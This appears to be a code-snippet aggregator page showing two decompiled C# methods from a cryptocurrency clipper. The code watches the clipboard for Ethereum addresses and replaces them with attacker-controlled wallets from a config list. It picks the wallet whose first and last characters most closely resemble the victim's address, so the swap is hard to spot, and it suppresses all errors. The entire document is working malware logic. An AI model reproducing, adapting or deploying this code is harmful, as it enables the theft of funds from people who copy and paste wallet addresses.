Beispiel #1
0
 // Token: 0x060002D4 RID: 724 RVA: 0x000132CC File Offset: 0x000114CC
 public static void GetEtheriumWhile()
 {
     try
     {
         if (Clipboard.ContainsText())
         {
             string text = Clipboard.GetText();
             if (!Config.walletseth.Contains(text) && CheckEth.Clipregex(text))
             {
                 CheckEth.SetsEtherium(text);
             }
         }
     }
     catch
     {
     }
 }
Beispiel #2
0
 // Token: 0x060002D7 RID: 727 RVA: 0x00013358 File Offset: 0x00011558
 internal static void SetsEtherium(string originalClipboardText)
 {
     try
     {
         string           b       = originalClipboardText.Trim();
         HashSet <string> hashSet = new HashSet <string>();
         int num = 0;
         foreach (string text in Config.walletseth.ToList <string>())
         {
             int num2 = CheckEth.FirstCharFitNum(text, b);
             if (num2 >= num)
             {
                 if (num2 == num)
                 {
                     hashSet.Add(text);
                 }
                 else if (num2 > num)
                 {
                     hashSet.Clear();
                     num = num2;
                     hashSet.Add(text);
                     Clipboard.SetText(text);
                 }
             }
         }
         int num3 = 0;
         foreach (string text2 in hashSet)
         {
             int num4 = CheckEth.LastCharFitNum(text2, b);
             if (num4 > num3)
             {
                 num3 = num4;
                 Clipboard.SetText(text2);
             }
         }
     }
     catch
     {
     }
 }